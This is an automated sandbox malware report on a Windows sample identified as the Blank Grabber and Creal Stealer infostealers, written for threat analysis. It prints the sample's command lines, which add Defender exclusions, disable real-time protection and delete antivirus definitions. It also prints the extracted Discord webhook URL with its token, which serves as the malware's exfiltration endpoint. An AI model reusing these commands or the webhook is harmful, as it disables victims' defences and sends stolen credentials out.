Edit tour

Windows Analysis Report
#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Overview

General Information

Sample name:	#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe renamed because original name is a hash value
Original sample name:	.exe
Analysis ID:	1553259
MD5:	3ac5f99224a92851c80fe4178fff6002
SHA1:	20eae332be7470533009e2a0f28412463acb1f06
SHA256:	a21cd46fbedb13199e3675a4ee14af9914547d237342fca0c8cd8022a7888363
Tags:	exeuser-aachum
Infos:

Detection

Blank Grabber, Creal Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Blank Grabber

Yara detected Creal Stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Check if machine is in data center or colocation facility

Drops PE files to the startup folder

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Modifies Windows Defender protection settings

Removes signatures from Windows Defender

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Tries to steal communication platform credentials (via file / registry access)

Binary contains a suspicious time stamp

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect virtual machines (SGDT)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe (PID: 4976 cmdline: "C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe" MD5: 3AC5F99224A92851C80FE4178FFF6002)

Creal.exe (PID: 5676 cmdline: "C:\Users\user\Desktop\Creal.exe" MD5: 017603B860F67F7F65F724E519465926)

Creal.exe (PID: 2432 cmdline: "C:\Users\user\Desktop\Creal.exe" MD5: 017603B860F67F7F65F724E519465926)

cmd.exe (PID: 4904 cmdline: C:\Windows\system32\cmd.exe /c "curl ifconfig.me" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5388 cmdline: curl ifconfig.me MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

Built.exe (PID: 2760 cmdline: "C:\Users\user\Desktop\Built.exe" MD5: 12E9F3CE18351EE539646C23CC862C5C)

Built.exe (PID: 2536 cmdline: "C:\Users\user\Desktop\Built.exe" MD5: 12E9F3CE18351EE539646C23CC862C5C)

cmd.exe (PID: 5424 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6720 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 2332 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1052 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

WmiPrvSE.exe (PID: 6552 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

MpCmdRun.exe (PID: 4932 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)

cmd.exe (PID: 1032 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6620 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 6940 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 1056 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

Creal.exe (PID: 4236 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe" MD5: 017603B860F67F7F65F724E519465926)

Creal.exe (PID: 2244 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe" MD5: 017603B860F67F7F65F724E519465926)

cmd.exe (PID: 1656 cmdline: C:\Windows\system32\cmd.exe /c "curl ifconfig.me" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3164 cmdline: curl ifconfig.me MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cleanup

Malware Configuration

Threatname: Creal Stealer

{"C2 url": "https://discord.com/api/webhooks/1304534397680357396/jwWT3Q8Ovv9Vvgd-RNJrwcYvcpgO5pbMYyd8C4eotXdFUJqgeAOXJwz_fHbLjM5ITcpj"}

Threatname: Blank Grabber

{"C2 url": "https://discord.com/api/webhooks/1304534397680357396/jwWT3Q8Ovv9Vvgd-RNJrwcYvcpgO5pbMYyd8C4eotXdFUJqgeAOXJwz_fHbLjM5ITcpj"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI27602\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2109058666.00000124EBC34000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000019.00000002.3354239060.00000227B8F10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000003.00000003.2109058666.00000124EBC32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: Built.exe PID: 2760	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: Built.exe PID: 2536	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: Built.exe PID: 2536	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Built.exe" , ParentImage: C:\Users\user\Desktop\Built.exe, ParentProcessId: 2536, ParentProcessName: Built.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'", ProcessId: 5424, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Built.exe" , ParentImage: C:\Users\user\Desktop\Built.exe, ParentProcessId: 2536, ParentProcessName: Built.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 2332, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\Creal.exe, ProcessId: 2432, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c "curl ifconfig.me", CommandLine: C:\Windows\system32\cmd.exe /c "curl ifconfig.me", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Creal.exe" , ParentImage: C:\Users\user\Desktop\Creal.exe, ParentProcessId: 2432, ParentProcessName: Creal.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "curl ifconfig.me", ProcessId: 4904, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5424, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe', ProcessId: 6720, ProcessName: powershell.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T17:02:34.506611+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.6	49726	TCP
2024-11-10T17:03:13.264966+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.6	49956	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: Creal.exe.2432.5.memstrmin	Malware Configuration Extractor: Creal Stealer {"C2 url": "https://discord.com/api/webhooks/1304534397680357396/jwWT3Q8Ovv9Vvgd-RNJrwcYvcpgO5pbMYyd8C4eotXdFUJqgeAOXJwz_fHbLjM5ITcpj"}
Source: Built.exe.2536.4.memstrmin	Malware Configuration Extractor: Blank Grabber {"C2 url": "https://discord.com/api/webhooks/1304534397680357396/jwWT3Q8Ovv9Vvgd-RNJrwcYvcpgO5pbMYyd8C4eotXdFUJqgeAOXJwz_fHbLjM5ITcpj"}

Multi AV Scanner detection for submitted file

Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: geolocation-db.com

Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF68E90 CRYPTO_malloc,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	5_2_00007FFD8AF68E90
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF3CD30 CRYPTO_free,CRYPTO_free,CRYPTO_free_ex_data,OPENSSL_LH_free,X509_STORE_free,CTLOG_STORE_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_secure_free,EVP_MD_get0_provider,EVP_MD_free,EVP_MD_get0_provider,EVP_MD_free,EVP_CIPHER_get0_provider,EVP_CIPHER_free,EVP_MD_get0_provider,EVP_MD_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,CRYPTO_free,	5_2_00007FFD8AF3CD30
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21A0F ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_CIPHER_CTX_get0_cipher,EVP_CIPHER_get_flags,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_get0_md,EVP_MD_get_size,CRYPTO_memcmp,ERR_set_mark,ERR_clear_last_mark,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_pop_to_mark,ERR_clear_last_mark,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_get0_md,CRYPTO_memcmp,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,strncmp,strncmp,strncmp,strncmp,strncmp,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	5_2_00007FFD8AF21A0F
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21AB4 CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,	5_2_00007FFD8AF21AB4
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF24C00 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	5_2_00007FFD8AF24C00
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF6EC10 CRYPTO_free,	5_2_00007FFD8AF6EC10
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF84C40 ERR_new,ERR_set_debug,X509_get0_pubkey,ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,RAND_bytes_ex,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_encrypt_init,EVP_PKEY_encrypt,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,EVP_PKEY_CTX_free,	5_2_00007FFD8AF84C40
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF46AB7 CRYPTO_malloc,ERR_new,ERR_set_debug,CRYPTO_clear_free,OPENSSL_LH_num_items,OPENSSL_LH_num_items,ERR_peek_error,	5_2_00007FFD8AF46AB7
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF2114F CRYPTO_free,ERR_new,ERR_set_debug,	5_2_00007FFD8AF2114F
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF46AB7 CRYPTO_malloc,ERR_new,ERR_set_debug,CRYPTO_clear_free,OPENSSL_LH_num_items,OPENSSL_LH_num_items,ERR_peek_error,	5_2_00007FFD8AF46AB7
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF4EB10 CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	5_2_00007FFD8AF4EB10
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21460 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,BIO_snprintf,	5_2_00007FFD8AF21460
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF36B20 CRYPTO_THREAD_run_once,OPENSSL_sk_find,OPENSSL_sk_value,EVP_CIPHER_fetch,EVP_CIPHER_get_flags,	5_2_00007FFD8AF36B20
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF24B30 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	5_2_00007FFD8AF24B30
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF3EB48 CRYPTO_free,	5_2_00007FFD8AF3EB48
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF22185 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,CRYPTO_free,ERR_new,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,	5_2_00007FFD8AF22185
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF34990 i2d_X509_NAME,i2d_X509_NAME,memcmp,CRYPTO_free,CRYPTO_free,	5_2_00007FFD8AF34990
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21893 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_strdup,ERR_new,ERR_set_debug,	5_2_00007FFD8AF21893
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF217DF ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,	5_2_00007FFD8AF217DF
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF2204F CRYPTO_free,CRYPTO_malloc,ERR_new,RAND_bytes_ex,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,	5_2_00007FFD8AF2204F
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF224EB CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	5_2_00007FFD8AF224EB
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF789F0 CRYPTO_free,CRYPTO_memdup,	5_2_00007FFD8AF789F0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21A05 ERR_new,ERR_set_debug,ERR_set_error,ASN1_item_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,_time64,X509_free,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,ASN1_item_free,	5_2_00007FFD8AF21A05
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21492 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,	5_2_00007FFD8AF21492
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF62A50 SRP_Calc_u_ex,BN_num_bits,CRYPTO_malloc,ERR_new,ERR_set_debug,BN_bn2bin,BN_clear_free,BN_clear_free,	5_2_00007FFD8AF62A50
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF84860 ERR_new,ERR_set_debug,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memdup,CRYPTO_strdup,CRYPTO_free,CRYPTO_free,ERR_new,ERR_new,ERR_set_debug,OPENSSL_cleanse,OPENSSL_cleanse,CRYPTO_clear_free,CRYPTO_clear_free,	5_2_00007FFD8AF84860
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF98870 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_dup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_free,ERR_new,ERR_set_debug,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,	5_2_00007FFD8AF98870
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF226B2 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_strdup,	5_2_00007FFD8AF226B2
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF6E8C0 CRYPTO_free,	5_2_00007FFD8AF6E8C0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF8C8E0 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,	5_2_00007FFD8AF8C8E0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF9A8F0 EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,EVP_PKEY_decrypt_init,ERR_new,ERR_set_debug,X509_get0_pubkey,ERR_clear_error,ASN1_item_d2i,ASN1_TYPE_get,ERR_new,ERR_set_debug,EVP_PKEY_decrypt,ERR_new,EVP_PKEY_CTX_ctrl,ERR_new,ERR_new,ERR_set_debug,EVP_PKEY_CTX_free,ASN1_item_free,	5_2_00007FFD8AF9A8F0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF2139D memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,	5_2_00007FFD8AF2139D
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF6E920 CRYPTO_free,	5_2_00007FFD8AF6E920
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF34930 CRYPTO_get_ex_new_index,	5_2_00007FFD8AF34930
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21EE2 CRYPTO_free,CRYPTO_strndup,CRYPTO_free,OPENSSL_cleanse,_time64,memcpy,EVP_MD_get0_name,EVP_MD_is_a,ERR_new,ERR_set_debug,OPENSSL_cleanse,ERR_new,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,	5_2_00007FFD8AF21EE2
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF22144 EVP_CIPHER_get_mode,EVP_CIPHER_get_mode,EVP_CIPHER_get_iv_length,EVP_CIPHER_get_key_length,CRYPTO_malloc,ERR_new,ERR_set_debug,	5_2_00007FFD8AF22144
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF220E5 CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	5_2_00007FFD8AF220E5
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF24FD0 CRYPTO_free,	5_2_00007FFD8AF24FD0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF22117 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,	5_2_00007FFD8AF22117
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF2236A CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,CRYPTO_free,CRYPTO_free,	5_2_00007FFD8AF2236A
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF2117C _time64,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	5_2_00007FFD8AF2117C
